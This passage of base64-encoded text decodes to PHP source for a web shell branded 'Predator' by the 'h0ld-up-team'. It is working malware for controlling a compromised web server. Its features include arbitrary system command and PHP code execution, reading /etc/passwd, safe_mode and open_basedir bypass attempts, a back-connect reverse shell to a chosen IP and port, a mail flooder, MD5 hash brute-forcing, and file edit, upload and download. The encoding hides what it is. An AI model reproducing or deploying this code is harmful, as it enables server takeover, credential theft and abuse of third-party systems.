XSksc3RyaXBzbGFzaGVzKCRfUE9TVFsndXNlcnMnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsncGFzc3dkJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ2xvZyddKSk7DQogIH0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09MTApDQogIHsNCiAgICBlY2hvIGZsb29kZXIoc3RyaXBzbGFzaGVzKCRfUE9TVFsnbG9nJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ3RvJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ2Zyb20nXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydtc2cnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnYW1vdW50J10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NoZWNrJ10pKTsNCiAgfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT0xMikNCiAgew0KICAgIGVjaG8gYmFja2Nvbm5lY3Qoc3RyaXBzbGFzaGVzKCRfUE9TVFsnaXAnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsncG9ydCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydtZXRob2QnXSkpOw0KICB9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTEzKQ0KICB7DQogICAgZWNobyBiYWNrY29ubmVjdChzdHJpcHNsYXNoZXMoJF9QT1NUWydwb3J0J10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ3Bhc3MnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnbWV0aG9kJ10pKTsNCiAgfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT0xNCkNCiAgew0KICAgIGVjaG8gbWQ1X2JydXRlKHN0cmlwc2xhc2hlcygkX1BPU1RbJ2hhc2gnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnbG9nJ10pLHN0cmlwc2xhc2hlcygkX1BPU1RbJ2RpY3QnXSkpOw0KICB9DQoNCmVsc2UgDQogIHskdSA9IGV4KCdscyAtbGEnKTsNCiAgIGlmKCR1ID09ICcnKXtyZXR1cm4gZXgoJ2RpcicpO31lbHNle3JldHVybiAkdTt9Ow0KICB9DQoNCnJldHVybiBudWxsOw0KfTsNCg0KZnVuY3Rpb24gZWRpdCgpDQp7DQppZiAoJF9TRVNTSU9OWydlZGl0J10gPT0gMSl7DQokX1NFU1NJT05bJ2VkaXQnXT0wOw0KcmV0dXJuICI8YnI+PGNlbnRlcj48aW5wdXQgdHlwZT1zdWJtaXQgc3R5bGU9XCJib3JkZXI6MXB4IHNvbGlkICM2NjY2NjY7YmFja2dyb3VuZDojMzMzMzMzO2ZvbnQtd2VpZ2h0OmJvbGQ7XCIgdmFsdWU9XCJTYXZlXCI+PC9jZW50ZXI+Ijt9Ow0KfQ0KDQpmdW5jdGlvbiBnZXRzeXN0ZW0oKQ0Kew0KICByZXR1cm4gcGhwX3VuYW1lKCdzJykuIiAiLnBocF91bmFtZSgncicpLiIgIi5waHBfdW5hbWUoJ3YnKTsNCn07ICANCg0KZnVuY3Rpb24gZ2V0c2VydmVyKCkNCnsNCiAgcmV0dXJuIGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQp9Ow0KDQoNCmZ1bmN0aW9uIGdldHVzZXIoKQ0Kew0KJG91dCA9IGdldF9jdXJyZW50X3VzZXIoKTsgIA0KICBpZigkb3V0IT0iU1lTVEVNIikNCiAgICB7DQogICAgICBpZigoJG91dD1leCgnaWQnKSk9PScnKXskb3V0ID0gInVpZD0iLmdldG15dWlkKCkuIigiLmdldF9jdXJyZW50X3VzZXIoKS4iKSBnaWQ9Ii5nZXRteWdpZCgpO307DQogICAgfQ0KcmV0dXJuICRvdXQ7DQp9Ow0KDQpmdW5jdGlvbiBwd2QoKQ0Kew0KaWYoJF9QT1NUWyd0eXBlJ109PTMpDQogIHsNCiAgICAkX1NFU1NJT05bJ3B3ZCddID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSk7DQogIH0NCmNoZGlyKCRfU0VTU0lPTlsncHdkJ10pOw0KJGN3ZCA9IGdldGN3ZCgpOw0KaWYoJHU9c3RycnBvcygkY3dkLCcvJykpDQogIHsNCiAgICBpZigkdSE9c3RybGVuKCRjd2QpLTEpew0KICAgIHJldHVybiAkY3dkLicvJzt9DQogICAgZWxzZXtyZXR1cm4gJGN3ZDt9Ow0KICB9DQplbHNlaWYoJHU9c3RycnBvcygkY3dkLCdcXCcpKQ0KICB7DQogICAgaWYoJHUhPXN0cmxlbigkY3dkKS0xKXsNCiAgICByZXR1cm4gJGN3ZC4nXFwnO30NCiAgICBlbHNle3JldHVybiAkY3dkO307DQogIH07DQp9DQoNCmZ1bmN0aW9uIHNhZmVfZXgoJGluKQ0Kew0KaWYoJGluKXsNCiRkPWRpcignLicpOw0KDQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsgDQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgIEg6aSIsJG10aW1lKS4iICI7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7IA0KICAgICAkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQogICAgICRncmdpZCA9IEBwb3NpeF9nZXRncmdpZCgkZ2lkKTsNCiAgICAgZWNobyAkaW5vZGUuIiAiOw0KICAgICBlY2hvIHBlcm1zKEBmaWxlcGVybXMoJGZpbGUpKTsNCiAgICAgcHJpbnRmKCIlIDRkICUgOXMgJSA5cyAlN3MgIiwkbmxpbmssJG93bmVyWyduYW1lJ10sJGdyZ2lkWyduYW1lJ10sJHNpemUpOw0KICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSAiLCRtdGltZSk7DQogICAgIH0NCiAgICAgZWNobyAiJGZpbGVcbiI7DQogICAgfQ0KICAgJGQtPmNsb3NlKCk7DQp9DQoNCmZ1bmN0aW9uIHNhZmVfcmVhZCgkaW4pDQp7DQplY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmluY2x1ZGUoIi9ldGMvcGFzc3dkIik7DQppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCg0KZmlsZV9nZXRfY29udGVudHMoJGluKTsNCn0NCg0KfQ0KPz4NCg0KDQoNCg0KDQoNCg0KDQoNCg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT4uOjpQcmVkYXRvcjo6LjwvdGl0bGU+DQo8TUVUQSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1DUDg2NiI+DQo8c3R5bGUgdHlwZT10ZXh0L2Nzcz4NCi50YSB7YmFja2dyb3VuZDogIzMzMzMzMzsgYm9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyBjb2xvcjogI0ZGRkZGRjt9DQouYnQge2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7YmFja2dyb3VuZDogIzMzMzMzMztmb250LXdlaWdodDpib2xkO30NCi50ZDEge2JvcmRlcjoycHggc29saWQgIzAwMDAwMDt9DQoudGQyIHtib3JkZXI6MXB4IHNvbGlkICMwMDAwMDA7fQ0KLnJhbSB7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2O2JhY2tncm91bmQ6IzIyMjIyMjt9DQpib2R5IHsgc2Nyb2xsYmFyLWJhc2UtY29sb3I6ICMzMzMzMzN9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCmZ1bmN0aW9uIGtpbGwoKQ0Kew0KdmFyIHk7DQp5ID0gY29uZmlybSgnQXJlIHlvdSByZWFsbHkgd2FudCB0byBraWxsIHNoZWxsPycpOw0KaWYoeSA9PSB0cnVlKQ0Kew0KZG9jdW1lbnQubG9jYXRpb24gPSAnP2tpbGw9eWVzJzsNCn0NCn0NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHkgYmdjb2xvcj0nIzAwMDAwMCc+DQo8Y2VudGVyPjx0YWJsZSB3aWR0aD05MCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Ij4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NzAgYmdjb2xvcj0nIzMzMzMzMycgc3R5bGU9ImJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjNjY2NjY2IiB2YWxpZ249dG9wPg0KPHRhYmxlIHZhbGlnbj10b3A+DQo8dHI+PHRkIHZhbGlnbj10b3A+DQo8dGFibGUgdmFsaWduPWNlbnRlciBjbGFzcz0ncmFtJz4NCjx0cj48dGQgd2lkdGg9NSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9Izg4ODg4OD5TeXN0ZW06PC9mb250Pg0KPC90ZD4NCjx0ZCB3aWR0aD0xMDAlPg0KPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD48Yj48P3BocCBlY2hvIGdldHN5c3RlbSgpOz8+PC9iPjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9NSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9Izg4ODg4OD5TZXJ2ZXI6PC9mb250Pg0KPC90ZD4NCjx0ZCB3aWR0aD0xMDAlPg0KPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD48Yj48P3BocCBlY2hvIGdldHNlcnZlcigpOz8+PC9iPjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9NSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9Izg4ODg4OD5Vc2VyOjwvZm9udD4NCjwvdGQ+DQo8dGQgd2lkdGg9MTAwJT4NCjxmb250IHNpemU9MiBjb2xvcj1yZWQ+PGI+PD9waHAgZWNobyBnZXR1c2VyKCk7Pz48L2I+PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD01JSBhbGlnbj1yaWdodD4NCjxmb250IHNpemU9MiBjb2xvcj0jODg4ODg4PnB3ZDo8L2ZvbnQ+DQo8L3RkPg0KPHRkIHdpZHRoPTEwMCU+DQo8Zm9udCBzaXplPTIgY29sb3I9cmVkPjxiPjw/cGhwIGlmKHN0cmxlbigkdT1wd2QoKSk+NDUpe2VjaG8gIi4uLiIuc3Vic3RyKCR1LHN0cmxlbigkdSktNDAsNDApO31lbHNle2VjaG8gJHU7fTs/PjwvYj48L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD4NCjx0ZCB3aWR0aD0xMyUgdmFsaWduPWNlbnRlciBhbGlnbj1jZW50ZXI+DQo8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPg0KPGNlbnRlcj4NCjxhIGhyZWY9Imh0dHA6Ly9oMGxkLXVwLmluZm8iPjx0YWJsZSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTIgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzY2NjY2NjtiYWNrZ3JvdW5kOiM0NDQ0NDQiPg0KPHRyPjx0ZD48Zm9udCBzaXplPTIgY29sb3I9Izk5OTk5OT4NCjxjZW50ZXI+PGI+Ljo6aDBsZC11cC10ZWFtOjouPGJyPndlYi1zaGVsbDwvYj48L2NlbnRlcj4NCjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48L2E+PC9jZW50ZXI+DQo8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9NT48L3RkPjwvdHI+PHRyPjx0ZD4NCjxjZW50ZXI+DQoNCjxpbnB1dCB0eXBlPXN1Ym1pdCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjNjY2NjY2O2JhY2tncm91bmQ6IGRhcmtyZWQ7Zm9udC13ZWlnaHQ6Ym9sZDsiIHZhbHVlPScgICBLaWxsIFNoZWxsICAgJyBvbmNsaWNrPSdraWxsKCknPg0KDQo8L2NlbnRlcj4NCjwvdGQ+PC90cj48L3RhYmxlPg0KDQo8L3RkPg0KPHRkIGNsYXNzPSdyYW0nIHdpZHRoPTQ1JSB2YWxpZ249Y2VudGVyIGFsaWduPWNlbnRlcj4NCjx0YWJsZSAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPg0KPHRyPjx0ZD4NCjx0YWJsZSB2YWxpZ249dG9wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9JyM4ODg4ODgnPlBIUC12ZXJzaW9uOjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9JyM4ODg4ODgnPk15U1FMOjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9JyM4ODg4ODgnPk1TU1FMOjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249cmlnaHQ+DQo8Zm9udCBzaXplPTIgY29sb3I9JyM4ODg4ODgnPlBvc3RncmVTUUw6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj1yaWdodD4NCjxmb250IHNpemU9MiBjb2xvcj0nIzg4ODg4OCc+T3JhY2xlOjwvZm9udD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjx0ZD4NCjx0YWJsZSB2YWxpZ249dG9wICBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+DQo8dHI+PHRkPg0KPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD48P3BocCBlY2hvIHBocHZlcnNpb24oKTs/PjwvZm9udD48L2I+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPg0KPGI+PD9waHAgZWNobyB0ZXN0bXlzcWwoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+DQo8Yj48P3BocCBlY2hvIHRlc3Rtc3NxbCgpOz8+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD4NCjxiPjw/cGhwIGVjaG8gcG9zdGdyZXNxbCgpOz8+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD4NCjxiPjw/cGhwIGVjaG8gb3JhY2xlKCk7Pz48L2I+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48dGQgd2lkdGg9NCU+PC90ZD4NCjx0ZCB2YWxpZ249dG9wPjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgdmFsaWduPXRvcD4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPlNhZmVfbW9kZTo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5jVVJMOjwvZm9udD4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPndnZXQ6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+ZmV0Y2g6PC9mb250Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+bHlueDo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvdGQ+DQo8dGQgdmFsaWduPXRvcD48dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHZhbGlnbj10b3A+DQo8dHI+PHRkIHZhbGlnbj10b3A+DQo8Yj48P3BocCBlY2hvIHNhZmVfbW9kZSgpOz8+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PD9waHAgZWNobyB0ZXN0Y3VybCgpOz8+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PD9waHAgZWNobyB0ZXN0d2dldCgpOz8+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PD9waHAgZWNobyB0ZXN0ZmV0Y2goKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjw/cGhwIGVjaG8gdGVzdGx5bngoKTs/PjwvYj4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC90ZD4NCjx0ZCB3aWR0aD00JT48L3RkPg0KPHRkIHZhbGlnbj10b3A+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB2YWxpZ249dG9wPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+UGVybDo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5TZXJ2ZXIgdGltZTo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5TZXJ2ZXIgZGF0ZTo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5Ub3RhbCBzcGFjZTo8L2ZvbnQ+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj5GcmVlIHNwYWNlOjwvZm9udD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC90ZD4NCjx0ZCB2YWxpZ249dG9wPjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgdmFsaWduPXRvcD4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjxmb250IHNpemU9MiBjb2xvcj1ncmVlbj48P3BocCBlY2hvIHRlc3RwZXJsKCk7Pz48L2ZvbnQ+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSM5OTk5OTk+PD9waHAgZWNobyBkYXRlKCdIOmknKTs/PjwvZm9udD48L2I+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIHZhbGlnbj10b3A+DQo8Yj48Zm9udCBzaXplPTIgY29sb3I9Izk5OTk5OT48P3BocCBlY2hvIGRhdGUoJ2QtbS1ZJyk7Pz48L2ZvbnQ+PC9iPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wPg0KPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSM5OTk5OTk+PD9waHAgZWNobyB2aWV3X3NpemUoZGlza190b3RhbF9zcGFjZShnZXRjd2QoKSkpOz8+PC9mb250PjwvYj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcD4NCjxiPjxmb250IHNpemU9MiBjb2xvcj0jOTk5OTk5Pjw/cGhwIGVjaG8gdmlld19zaXplKGRpc2tmcmVlc3BhY2UoZ2V0Y3dkKCkpKTs/PjwvZm9udD48L2I+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGJnY29sb3I9JyMzMzMzMzMnIHZhbGlnbj10b3A+DQo8dGFibGUgd2lkdGg9MTAwJT4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1jZW50ZXI+DQo8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MjAwIGNsYXNzPSd0ZDEnPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9NTAlPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTU+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTEzIG5hbWU9InZhbHVlIiBjbGFzcz0ndGEnPg0KPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKHNoZWxsKCkpOz8+DQo8L3RleHRhcmVhPjw/cGhwIGVjaG8gZWRpdCgpOz8+PC9mb3JtPg0KPC90ZD4NCg0KDQoNCjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9MTAlPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgY2xhc3M9J3RkMic+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+PHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgaGVpZ2h0PTQwJSBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7Ij4NCjxiPi46OlN5c3RlbSBzaGVsbDo6LjwvYj48YnI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9Mj4NCjxjZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSJ2YWx1ZSIgc2l6ZT0zNSBjbGFzcz0ndGEnPjwvY2VudGVyPg0KPC8gYnI+PGNlbnRlcj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkVudGVyIiBzdHlsZT0iYm9yZGVyLXRvcDogMXB4IHNvbGlkICMzMzMzMzM7Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM2NjY2NjY7Ym9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzY2NjY2Njtib3JkZXItbGVmdDogMXB4IHNvbGlkICM2NjY2NjY7YmFja2dyb3VuZDogIzMzMzMzMztmb250LXdlaWdodDpib2xkOyI+PC9jZW50ZXI+DQo8L3RkPjwvdHI+PC9mb3JtPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQ+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+DQo8dGFibGU+DQo8dHI+PHRkPg0KPGI+Ljo6UEhQLWNvZGU6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iUnVuIGNvZGUiIGNsYXNzPSdidCc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9MT4NCjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yPg0KPHRleHRhcmVhIHJvd3M9NSBjb2xzPTI2IG5hbWU9InZhbHVlIiBjbGFzcz0ndGEnPjw/cGhwIGVjaG8gInJlYWRmaWxlKCcvZXRjL3Bhc3N3ZCcpOyI7Pz48L3RleHRhcmVhPg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2Zvcm0+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGQgaGVpZ2h0PTA+PC90ZD48L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD04MCBjbGFzcz0ndGQxJyB2YWxpZ249dG9wPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9NTAlPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgdmFsaWduPXRvcCBjbGFzcz0ndGQyJz4NCjx0cj48dGQ+DQo8Yj4uOjpQV0Q6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJjZCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9Mz4NCjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJ2YWx1ZSIgY2xhc3M9J3RhJyBzaXplPTcxIHZhbHVlPTw/cGhwIGVjaG8gcHdkKCk7Pz4+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT48L3RkPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9NTAlPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgdmFsaWduPXRvcCBjbGFzcz0ndGQyJz4NCjx0cj48dGQ+DQo8Yj4uOjpGaWxlIEVkaXQ6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJFZGl0Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ0eXBlIiB2YWx1ZT00Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPTI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9InZhbHVlIiBjbGFzcz0ndGEnIHNpemU9NzIgdmFsdWU9PD9waHAgZWNobyBwd2QoKTs/Pj4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC9mb3JtPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9NTAlPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgdmFsaWduPXRvcCBjbGFzcz0ndGQyJz4NCjx0cj48dGQ+DQo8Yj4uOjpEb3dubG9hZDo6LjwvYj4NCjwvdGQ+PHRkIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdidCcgdmFsdWU9IkRvd25sb2FkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ0eXBlIiB2YWx1ZT0xMT4NCjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJ2YWx1ZSIgY2xhc3M9J3RhJyBzaXplPTcxIHZhbHVlPTw/cGhwIGVjaG8gcHdkKCk7Pz4+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT48L3RkPjx0ZCB2YWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9NTAlPg0KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgdmFsaWduPXRvcCBjbGFzcz0ndGQyJz4NCjx0cj48dGQ+DQo8Yj4uOjpVcGxvYWQ6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodCBjb2xzcGFuPTM+DQo8aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J2J0JyB2YWx1ZT0iVXBsb2FkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ0eXBlIiB2YWx1ZT02Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPTI+DQo8Zm9udCBzaXplPTIgY29sb3I9Izg4ODg4OD5OZXcgbmFtZTo8L2I+DQo8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTUgbmFtZT0ibmV3bmFtZSIgY2xhc3M9dGE+DQo8L3RkPjx0ZCB3aWR0aD00PjwvdGQ+PHRkIGNvbHNwYW